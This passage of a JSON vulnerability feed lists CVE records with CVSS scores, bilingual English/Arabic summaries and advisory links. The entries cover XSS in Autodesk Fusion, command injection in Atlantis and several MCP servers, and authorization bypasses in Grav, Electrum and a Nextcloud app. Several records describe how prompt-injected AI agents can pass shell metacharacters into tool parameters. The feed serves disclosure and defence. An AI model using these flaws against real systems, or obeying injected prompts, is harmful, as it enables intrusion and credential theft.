الحالية."},"refs":[["https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.dmg","patch"],["https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.exe","patch"],["https://www.autodesk.com/trust/security-advisories/adsk-sa-2026-0019","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"autodesk-fusion"},{"id":"CVE-2026-102638","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T17:16:55Z","product":"Autodesk Fusion","affected":[["2705.1.30 – <2706.1.14","2706.1.14"]],"title":{"en":"Electronic Library Description Stored Cross-Site Scripting (XSS) in Autodesk Fusion Desktop","ar":"وصف المكتبة الإلكترونية يخزن البرمجة عبر مواقع الويب (XSS) في تطبيق سطح المكتب Autodesk Fusion"},"summary":{"en":"A maliciously crafted HTML payload in the description of an electronic library (.lbr) file, when displayed in the Library Manager after the library is imported, can trigger a Stored Cross-site Scripting (XSS) vulnerability in the Autodesk Fusion desktop application. A malicious actor may leverage this vulnerability to read local files or execute arbitrary code in the context of the current process.","ar":"يمكن لحمولة HTML معدة بشكل خبيث في وصف ملف مكتبة إلكترونية (.lbr)، عند عرضها في مدير المكتبات بعد استيراد المكتبة، أن تؤدي إلى تشغيل ثغرة البرمجة عبر مواقع الويب المخزنة (XSS) في تطبيق سطح المكتب Autodesk Fusion. قد يستغل جهة خبيثة هذه الثغرة لقراءة ملفات محلية أو تنفيذ شيفرة عشوائية في سياق العملية الحالية."},"refs":[["https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.dmg","patch"],["https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.exe","patch"],["https://www.autodesk.com/trust/security-advisories/adsk-sa-2026-0019","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"autodesk-fusion"},{"id":"CVE-2026-102636","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T17:16:54Z","product":"Autodesk Fusion","affected":[["2705.1.30 – <2706.1.14","2706.1.14"]],"title":{"en":"Design Name Stored Cross-Site Scripting (XSS) in Autodesk Fusion Desktop","ar":"اسم التصميم يخزن البرمجة عبر مواقع الويب (XSS) في تطبيق سطح المكتب Autodesk Fusion"},"summary":{"en":"A maliciously crafted HTML payload in a design name, when displayed after another user opens the manipulated design, can trigger a Stored Cross-site Scripting (XSS) vulnerability in the Autodesk Fusion desktop application. A malicious actor may leverage this vulnerability to read local files or execute arbitrary code in the context of the current process.","ar":"يمكن لحمولة HTML معدة بشكل خبيث في اسم تصميم، عند عرضها بعد أن يفتح مستخدم آخر التصميم التلاعب به، أن تؤدي إلى تشغيل ثغرة البرمجة عبر مواقع الويب المخزنة (XSS) في تطبيق سطح المكتب Autodesk Fusion. قد يستغل جهة خبيثة هذه الثغرة لقراءة ملفات محلية أو تنفيذ شيفرة عشوائية في سياق العملية الحالية."},"refs":[["https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.dmg","patch"],["https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.exe","patch"],["https://www.autodesk.com/trust/security-advisories/adsk-sa-2026-0019","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"autodesk-fusion"},{"id":"CVE-2026-116676","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:11:12Z","product":"runatlantis atlantis","affected":[],"title":{"en":"Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan","ar":"Atlantis: حقن أوامر نظام التشغيل عبر مساحة عمل Terraform المتحكم بها بواسطة طلب السحب يتيح تنفيذ أوامر عن بُعد أثناء التخطيط"},"summary":{"en":"Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, \" \") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.","ar":"تطبيق Atlantis المضاف ذاتياً والمكتوب بلغة golang يستمع إلى أحداث طلبات سحب Terraform عبر خطافات الويب. من الإصدار 0.4.0 وحتى الإصدار 0.47.1، يمرر Atlantis قيمة مساحة العمل المتحكم بها في طلب السحب من atlantis.yaml إلى وسائط أمر Terraform التي يتم دمجها باستخدام strings.Join(args, \" \") وتنفذ عبر sh -c. يمكن لمساهم مصادق عليه يكون طلب السحب الخاص به مؤهلاً لتخطيط Atlantis تضمين رموز shell في اسم مساحة العمل، مما يتسبب في تنفيذ شيفرة عشوائية بصلاحيات حساب خدمة Atlantis دون الحاجة إلى سير عمل مخصص، أو إذن تطبيق، أو مزود Terraform ضار. يمكن للمساهمين الخارجيين الوصول إلى الثغرة من خلال طلبات سحب الفروع الخارجية فقط عند تفعيل الخيار --allow-fork-prs، بينما لا تتطلب فروع المستودع نفسه المؤهلة هذا الخيار. ترث الأوامر بيئة عملية Atlantis ويمكنها الوصول إلى بيانات اعتماد مزود السحابة، وTerraform، والتحكم بالإصدارات بالإضافة إلى الملفات والحالة وموارد الشبكة المتاحة للخدمة. تم إصلاح هذه المشكلة في الإصدار 0.47.1."},"refs":[["https://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj","ref"],["https://github.com/runatlantis/atlantis/pull/6792","ref"],["https://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59","ref"],["https://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8","ref"],["https://github.com/runatlantis/atlantis/releases/tag/v0.47.1","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"runatlantis-atlantis"},{"id":"CVE-2026-57201","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T16:56:37Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer","ar":"Asterisk: فيضان المخزن المؤقت للذاكرة المكدسة في H.323 ooTrace() عبر vsprintf غير محدود مقابل مخزن مؤقت ثابت بحجم 2048 بايت"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3, a stack buffer overflow in the H.323 `ooTrace()` trace-logging function can occur when unbounded `vsprintf` writes into a fixed `2048-byte buffer`. A remote attacker may send a carefully crafted packet that causes the Asterisk process to crash. The `chan_ooh323` addon channel driver must be explicitly compiled and installed, which is not the default, and its port must be publicly reachable. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3.","ar":"Asterisk هو نظام تفرع خاص مفتوح المصدر وأداة هاتفية. قبل الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3، يمكن أن يحدث فيضان المخزن المؤقت للذاكرة المكدسة في وظيفة تتبع السجلات H.323 `ooTrace()` عندما يكتب `vsprintf` غير المحدود في `مخزن مؤقت ثابت بحجم 2048 بايت`. قد يرسل مهاجم عن بُعد حزمة معدة بعناية تتسبب في تعطل عملية Asterisk. يجب تجميع وتثبيت برنامج تشغيل قناة الملحق `chan_ooh323` صراحة، وهو ليس الوضع الافتراضي، ويجب أن يكون منفذه قابلاً للوصول بشكل عام. تم إصلاح هذه المشكلة في الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3","ref"],["https://github.com/asterisk/asterisk/commit/2d7b8c8dc13d9ead8b6f36cc38b6dd91cd4abd3a","ref"],["https://github.com/asterisk/asterisk/commit/33f62e351642edd9c58ef97b0002132722546af9","ref"],["https://github.com/asterisk/asterisk/commit/875ac7413de0b7068cd12d0da2f140cd06ba9357","ref"],["https://github.com/asterisk/asterisk/commit/ac0a64dec6d4231bf005a68da6af3e02bb311634","ref"],["https://github.com/asterisk/asterisk/commit/bf0c9a906892bc0f91fa753476e326919e4e30e5","ref"],["https://github.com/asterisk/asterisk/commit/c4d9b4defe83f74523880fd630c02c49683786a3","ref"],["https://github.com/asterisk/asterisk/commit/fff256d0539e96f70ac315844d72e9d540f03a4c","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"]],"epss":0.007,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-117511","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T16:17:31Z","product":"desmondmorris node-tesseract","affected":[["0.2.0",null],["0.2.1",null],["0.2.2",null],["0.2.3",null],["0.2.4",null],["0.2.5",null],["0.2.6",null],["0.2.7",null]],"title":{"en":"desmondmorris node-tesseract Command Builder tesseract.js process os command injection","ar":"عملية بناء الأوامر desmondmorris node-tesseract ولت tesseract.js حقن أمر نظام التشغيل"},"summary":{"en":"A vulnerability has been found in desmondmorris node-tesseract up to 0.2.7. Affected by this issue is the function process of the file lib/tesseract.js of the component Command Builder. Such manipulation of the argument image leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.","ar":"تم العثور على ثغرة في desmondmorris node-tesseract حتى الإصدار 0.2.7. المتأثر بهذه المشكلة هو وظيفة process للملف lib/tesseract.js التابع لمكون Command Builder. يؤدي هذا التلاعب في المعامل image إلى حقن أمر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد. تم الكشف عن الاستغلال للعامة وقد يتم استخدامه. تم إعلام المشروع بالمشكلة مبكراً من خلال تقرير مشكلة ولكنه لم يستجب بعد."},"refs":[["https://vuldb.com/cve/CVE-2026-117511","advisory"],["https://vuldb.com/submit/1024535","advisory"],["https://github.com/desmondmorris/node-tesseract/","ref"],["https://github.com/desmondmorris/node-tesseract/issues/72","ref"],["https://vuldb.com/vuln/427077","ref"],["https://vuldb.com/vuln/427077/cti","ref"]],"epss":0.0164,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"desmondmorris-node-tesseract"},{"id":"CVE-2026-104189","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T16:17:28Z","product":"maz1987in 3Dviewer-Nextcloud","affected":[],"title":{"en":"3Dviewer-Nextcloud: Share password not enforced when streaming 3D models from a public link share","ar":"3Dviewer-Nextcloud: عدم فرض كلمة مرور المشاركة عند بث نماذج ثلاثية الأبعاد من رابط مشاركة عام"},"summary":{"en":"The 3D Viewer for Nextcloud is a comprehensive 3D model viewer application for Nextcloud that supports multiple 3D file formats. In versions 1.7.9 through 3.3.1, the app's public file endpoint performed no share authorization. Anyone who knows a share token could read the shared file's contents even when the link share was protected by a password. `PublicFileController` extended `OCP\\AppFramework\\Controller` and marked its routes `#[PublicPage]`. Nextcloud only enforces share passwords through `PublicShareMiddleware`, which returns early for any controller that is not an `OCP\\AppFramework\\PublicShareController` instance — so no password, expiry, or share-type check ran for these routes. `ShareFileService::loadLinkShare()` compounded this by treating any token that `getShareByToken()` matched as authorised. A share token is the part of the URL that people paste into chats, emails, and tickets. Password protection exists precisely for the case where holding the token should not by itself grant access, and that guarantee did not hold. Requests to `GET /ocs/v2.php/apps/threedviewer/public/file/{token}/{fileId}` returned `200` with the full file body for password-protected shares, with no password and no session. Nextcloud's own share page correctly redirected such requests to the password prompt. Scope is limited to files in the formats this app handles (STL, GLB/glTF, OBJ, STEP, IFC, and the other supported 3D types). Non-3D files in the same share are unaffected. Expired shares returned `500` rather than leaking contents. This issue is fixed in 3.3.2. `PublicFileController` now extends `PublicShareController` and implements `isValidToken()`, `isPasswordProtected()`, and `getPasswordHash()`, delegating password and token validation to the framework and gaining brute-force throttling. `ShareFileService::findValidLinkShare()` additionally rejects share types other than link and email, rejects expired shares, and treats a `ShareNotFound` from the share manager as \"no sha…","ar":"يُعد تطبيق 3D Viewer لـ Nextcloud تطبيقاً شاملاً لعرض النماذج ثلاثية الأبعاد لـ Nextcloud ويدعم تنسيقات ملفات ثلاثية الأبعاد متعددة. في الإصدارات من 1.7.9 حتى 3.3.1، لم تُجرِ نقطة نهاية الملفات العامة للتطبيق أي تفويض للمشاركة. يمكن لأي شخص يعرف رمز المشاركة قراءة محتويات الملف المُشارَك حتى عندما كان رابط المشاركة محميًا بكلمة مرور. قامت `PublicFileController` بتوسيع `OCP\\AppFramework\\Controller` ووسمت مساراتها بـ `#[PublicPage]`. يفرض Nextcloud كلمات مرور المشاركة فقط من خلال `PublicShareMiddleware`، والذي يعود مبكرًا لأي متحكم ليس مثيلًا لـ `OCP\\AppFramework\\PublicShareController`، لذا لم يتم تشغيل أي فحص لكلمة المرور أو انتهاء الصلاحية أو نوع المشاركة لهذه المسارات. أدى `ShareFileService::loadLinkShare()` إلى تفاقم ذلك من خلال معاملة أي رمز طابقه `getShareByToken()` على أنه مصرح به. رمز المشاركة هو جزء عنوان URL الذي يلصقه الأشخاص في المحادثات والبريد الإلكتروني والتذاكر. توجد حماية كلمة المرور خصيصًا للحالة التي لا يجب أن يمنح فيها الاحتفاظ بالرمز الوصول بمفرده، ولم يثبت هذا الضمان. أعادت الطلبات إلى `GET /ocs/v2.php/apps/threedviewer/public/file/{token}/{fileId}` الرمز `200` مع نص الملف الكامل للمشاركات المحمية بكلمة مرور، ودون كلمة مرور ودون جلسة. قامت صفحة المشاركة الخاصة بـ Nextcloud بإعادة توجيه هذه الطلبات بشكل صحيح إلى موجه كلمة المرور. النطاق مقصور على الملفات بتنسيقات يتعامل معها هذا التطبيق (STL و GLB/glTF و OBJ و STEP و IFC وأنواع ثلاثية الأبعاد أخرى مدعومة). لا تتأثر الملفات غير ثلاثية الأبعاد في نفس المشاركة. أعادت المشاركات منتهية الصلاحية الرمز `500` بدلاً من تسريب المحتويات. تم حل هذه المشكلة في 3.3.2. يقوم `PublicFileController` الآن بتوسيع `PublicShareController` وتطبيق `isValidToken()` و `isPasswordProtected()` و `getPasswordHash()`، وتفويض التحقق من كلمة المرور والرمز إلى الإطار واكتساب تقييد القوة الغاشمة. يرفض `ShareFileService::findValidLinkShare()` بالإضافة إلى ذلك أنواع المشاركة بخلاف الرابط والبريد الإلكتروني، ويرفض المشاركات منتهية الصلاحية، ويعامل `ShareNotFound` من مدير المشاركة على أنه لا توجد مشاركة."},"refs":[["https://github.com/maz1987in/3Dviewer-Nextcloud/commit/1b0ca86ff9a96b4e045cb379bc8b8c2fe05f2fae","ref"],["https://github.com/maz1987in/3Dviewer-Nextcloud/commit/2cfef0326afc56112b948b3fdf7e5c873fab4104","ref"],["https://github.com/maz1987in/3Dviewer-Nextcloud/releases/tag/v3.3.2","ref"],["https://github.com/maz1987in/3Dviewer-Nextcloud/security/advisories/GHSA-gjh8-x4wm-3cfj","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"maz1987in-3dviewer-nextcloud"},{"id":"CVE-2026-78845","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T15:17:00Z","product":"Unknown product","affected":[],"title":{"en":"Aidot products Linkind Matter Smart Plug 1.01.32, OREiN Matter Smart Light Bulb 3.15.21, and Linkind Wi-Fi Smart Light Bulb 3.30.17 are vulnerable to ","ar":"منتجات Aidot وهي Linkind Matter Smart Plug الإصدار 1.01.32 و OREiN Matter Smart Light Bulb الإصدار 3.15.21 و Linkind Wi-Fi Smart Light Bulb الإصدار 3.30.17 مصابة بثغرة"},"summary":{"en":"Aidot products Linkind Matter Smart Plug 1.01.32, OREiN Matter Smart Light Bulb 3.15.21, and Linkind Wi-Fi Smart Light Bulb 3.30.17 are vulnerable to Remote Code Execution (RCE) via UPnP root description parsing.","ar":"منتجات Aidot وهي Linkind Matter Smart Plug الإصدار 1.01.32 و OREiN Matter Smart Light Bulb الإصدار 3.15.21 و Linkind Wi-Fi Smart Light Bulb الإصدار 3.30.17 عرضة لتنفيذ أوامر عن بُعد (RCE) عبر تحليل وصف الجذر لـ UPnP."},"refs":[["https://github.com/0xee9f00/AiDot-SSDP-UPnP-Vulnerabilities","ref"],["https://www.aidot.com/vulnerability-disclosure-policy","ref"]],"epss":0.0078,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-117604","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T15:16:57Z","product":"getgrav grav","affected":[["1.7.53.3 – <1.7.53.6","1.7.53.6"]],"title":{"en":"Grav from 1.7.53.3 before 1.7.53.6 Clockwork Profiler Authorization Bypass via Loopback Fallback","ar":"Grav من الإصدار 1.7.53.3 قبل الإصدار 1.7.53.6 تجاوز مصادقة Clockwork Profiler عبر تراجع الاسترجاع المحلي (Loopback Fallback)"},"summary":{"en":"Grav from 1.7.53.3 before 1.7.53.6 contains an authorization bypass in Debugger::isDebuggerRequestAuthorized() that allows unauthenticated visitors to read /__clockwork/ profiler data via a loopback REMOTE_ADDR fallback. Behind a same-host reverse proxy, remote requests appear as loopback, letting attackers read stored records including administrator plaintext passwords and configuration credentials.","ar":"يحتوي Grav من الإصدار 1.7.53.3 قبل الإصدار 1.7.53.6 على تجاوز للمصادقة في Debugger::isDebuggerRequestAuthorized() والذي يسمح للزوار دون مصادقة بقراءة بيانات محلل أداء /__clockwork/ عبر تراجع REMOTE_ADDR للاسترجاع المحلي. خلف وكيل عكسي لنفس المضيف، تظهر الطلبات البعيدة كعمليات استرجاع محلي، مما يتيح للمهاجمين قراءة السجلات المخزنة بما في ذلك كلمات مرور المسؤول بالنص الصريح وبيانات اعتماد التكوين."},"refs":[["https://github.com/getgrav/grav/commit/4d9fca043f990a818d65cea61c928203b9e19641","patch"],["https://github.com/getgrav/grav/security/advisories/GHSA-xprx-c7jf-cp6g","advisory"],["https://www.vulncheck.com/advisories/grav-from-1.7.53.3-before-1.7.53.6-clockwork-profiler-authorization-bypass-via-loopback-fallback","advisory"],["https://github.com/getgrav/grav/releases/tag/1.7.53.6","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"getgrav-grav"},{"id":"CVE-2026-117602","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-347","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T14:16:40Z","product":"spesmilo electrum","affected":[["0 – <4.7.2","4.7.2"]],"title":{"en":"Electrum before 4.7.2 External Plugin Authorization Bypass Local Code Execution","ar":"Electrum قبل الإصدار 4.7.2 تجاوز مصادقة المكون الإضافي الخارجي تنفيذ شيفرة محلية"},"summary":{"en":"Electrum 4.6.0 before 4.7.2 contains an authorization bypass in the external plugin loader, which executes a plugin's __init__.py module when the plugin is marked enabled in the config file, without verifying its plugin-password signature. A rogue local process with write access to the Electrum data directory can place plugin code in the plugins/ folder and mark it enabled, causing arbitrary code execution inside the Electrum process.","ar":"يحتوي Electrum 4.6.0 قبل الإصدار 4.7.2 على تجاوز للمصادقة في محمل المكونات الإضافية الخارجية، والذي ينفذ وحدة __init__.py الخاصة بالمكون الإضافي عندما يتم وضع علامة ممكّن على المكون الإضافي في ملف التكوين، دون التحقق من توقيع كلمة مرور المكون الإضافي. يمكن لعملية محلية خبيثة تتمتع بصلاحيات الكتابة في دليل بيانات Electrum وضع شيفرة المكون الإضافي في المجلد plugins/ ووضع علامة ممكّن عليها، مما يتسبب في تنفيذ شيفرة عشوائية داخل عملية Electrum."},"refs":[["https://github.com/spesmilo/electrum/commit/032dfcf107da1d31bbee5d64ca978e554fd8e982","patch"],["https://github.com/spesmilo/electrum/commit/fd7164d6dc1560b6f153c018cabf17e9411c5414","patch"],["https://github.com/spesmilo/electrum/security/advisories/GHSA-vw94-r84p-66qf","advisory"],["https://www.vulncheck.com/advisories/electrum-before-4.7.2-external-plugin-authorization-bypass-local-code-execution","advisory"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"spesmilo-electrum"},{"id":"CVE-2026-117567","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T14:16:39Z","product":"horw esp-mcp","affected":[],"title":{"en":"esp-mcp through commit 28afddf OS Command Injection via MCP Tool Parameters","ar":"esp-mcp حتى الالتزام 28afddf حقن أمر نظام التشغيل عبر معاملات أداة MCP"},"summary":{"en":"esp-mcp through commit 28afddf contains an OS command injection vulnerability that allows attackers to run arbitrary commands by supplying shell metacharacters in MCP tool parameters. Attackers influencing agent tool calls through prompt injection can inject metacharacters into target, port, project_path, or project_name values passed to asyncio.create_subprocess_shell, executing commands as the MCP server user.","ar":"يحتوي esp-mcp حتى الالتزام 28afddf على ثغرة حقن أمر نظام التشغيل تسمح للمهاجمين بتنفيذ أوامر عشوائية عن طريق توفير محارف صدفة (shell metacharacters) في معاملات أداة MCP. يمكن للمهاجمين الذين يؤثرون على استدعاءات أداة الوكيل من خلال حقن الموجه حقن محارف صدفة في قيم target أو port أو project_path أو project_name الم تمررة إلى asyncio.create_subprocess_shell، لتنفيذ الأوامر بصفتهم مستخدم خادم MCP."},"refs":[["https://www.vulncheck.com/advisories/esp-mcp-through-commit-28afddf-os-command-injection-via-mcp-tool-parameters","advisory"],["https://github.com/horw/esp-mcp","ref"],["https://github.com/horw/esp-mcp/blob/28afddf9ff41ada117bb45fd49b526d3bf89749e/main.py#L80","ref"],["https://github.com/horw/esp-mcp/issues/49","ref"]],"epss":0.0065,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"horw-esp-mcp"},{"id":"CVE-2026-117569","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T14:16:39Z","product":"alishahid74 kali-gpt","affected":[],"title":{"en":"Kali-GPT through commit a608c74 OS Command Injection via MCP Scanner Tool Parameters","ar":"Kali-GPT حتى الالتزام a608c74 حقن أمر نظام التشغيل عبر معاملات أداة ماسح MCP"},"summary":{"en":"Kali-GPT through commit a608c74 contains an OS command injection vulnerability in execute_tool() in kali_gpt/tools/mcp_server.py that allows MCP clients to run commands via unsanitized scanner parameters. Attackers or prompt-injected agents can embed shell metacharacters in parameters like target, ports, domain, wordlist, or url, executed via subprocess.run with shell=True as the MCP server user.","ar":"يحتوي Kali-GPT حتى الالتزام a608c74 على ثغرة حقن أمر نظام التشغيل في execute_tool() داخل kali_gpt/tools/mcp_server.py والتي تسمح لعملاء MCP بتنفيذ أوامر عبر معاملات الماسح غير المطهرة. يمكن للمهاجمين أو الوكلاء المحقونين بالموجّه تضمين محارف صدفة في معاملات مثل target أو ports أو domain أو wordlist أو url، والتي يتم تنفيذها عبر subprocess.run مع تعيين shell=True بصفتهم مستخدم خادم MCP."},"refs":[["https://www.vulncheck.com/advisories/kali-gpt-through-commit-a608c74-os-command-injection-via-mcp-scanner-tool-parameters","advisory"],["https://github.com/alishahid74/kali-gpt","ref"],["https://github.com/alishahid74/kali-gpt/blob/a608c74e99910232dd208fee99de860458672b82/kali_gpt/tools/mcp_server.py#L229-L356","ref"],["https://github.com/alishahid74/kali-gpt/issues/12","ref"]],"epss":0.0067,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"alishahid74-kali-gpt"},{"id":"CVE-2026-117573","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T14:16:39Z","product":"masc-ucsc hagent","affected":[],"title":{"en":"hagent through commit 761eec6 OS Command Injection via Arduino and ESP32 MCP Tools","ar":"ثغرة حقن أوامر في masc-ucsc hagent"},"summary":{"en":"hagent through commit 761eec6 contains an OS command injection vulnerability that allows MCP clients to execute shell commands by injecting metacharacters into the args parameter of the hagent_arduino and hagent_esp32 tools. Attackers or prompt-injected agents can supply crafted args interpolated into arduino-cli and idf.py commands run with subprocess.run(shell=True) to execute commands as the MCP server user.","ar":"hagent through commit 761eec6 contains an OS command injection vulnerability that allows MCP clients to execute shell commands by injecting metacharacters into the args parameter of the hagent_arduino and hagent_esp32 tools. Attackers or prompt-injected agents can supply crafted args interpolated into arduino-cli and idf.py commands run with subprocess.run(shell=True) to execute commands as the MCP server user."},"refs":[["https://www.vulncheck.com/advisories/hagent-through-commit-761eec6-os-command-injection-via-arduino-and-esp32-mcp-tools","advisory"],["https://github.com/masc-ucsc/hagent","ref"],["https://github.com/masc-ucsc/hagent/blob/761eec627a1e6fb128a2a8ce9245aa595cc2f7af/hagent/mcp/mcp_arduino.py#L776","ref"],["https://github.com/masc-ucsc/hagent/blob/761eec627a1e6fb128a2a8ce9245aa595cc2f7af/hagent/mcp/mcp_esp32.py#L682","ref"],["https://github.com/masc-ucsc/hagent/issues/98","ref"]],"epss":0.007,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"masc-ucsc-hagent"},{"id":"CVE-2026-117561","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T14:16:38Z","product":"codefriar sf-mcp","affected":[["0 – 1.3.2",null]],"title":{"en":"sf-mcp through 1.3.2 OS Command Injection via Salesforce CLI Flag Values","ar":"sf-mcp حتى الإصدار 1.3.2: حقن أوامر نظام التشغيل عبر قيم علامات Salesforce CLI"},"summary":{"en":"Codefriar sf-mcp through 1.3.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted Salesforce CLI tool flag values. Because escapeValue() in src/utils.ts fails to neutralize backticks, $() substitution, and other shell metacharacters, these values reach execSync in executeSfCommand and run as the MCP server user.","ar":"يحتوي Codefriar sf-mcp حتى الإصدار 1.3.2 على ثغرة حقن أوامر نظام التشغيل تسمح للمهاجمين بتنفيذ أوامر الصدفة من خلال توفير قيم علامات أدوات Salesforce CLI مُصممة خصيصًا."},"refs":[["https://www.vulncheck.com/advisories/sf-mcp-through-1.3.2-os-command-injection-via-salesforce-cli-flag-values","advisory"],["https://github.com/codefriar/sf-mcp","ref"],["https://github.com/codefriar/sf-mcp/blob/beb103dced68962e0c069b62cb377286751d0103/src/utils.ts#L79-L90","ref"],["https://github.com/codefriar/sf-mcp/issues/17","ref"]],"epss":0.0065,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"codefriar-sf-mcp"},{"id":"CVE-2026-117558","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T14:16:37Z","product":"ai-sdlc-framework ai-sdlc","affected":[["0 – 0.31.2",null]],"title":{"en":"ai-sdlc MCP Server through 0.31.2 Command Injection via check_issue and check_pr_status","ar":"خادم ai-sdlc MCP حتى الإصدار 0.31.2: حقن الأوامر عبر check_issue و check_pr_status"},"summary":{"en":"The 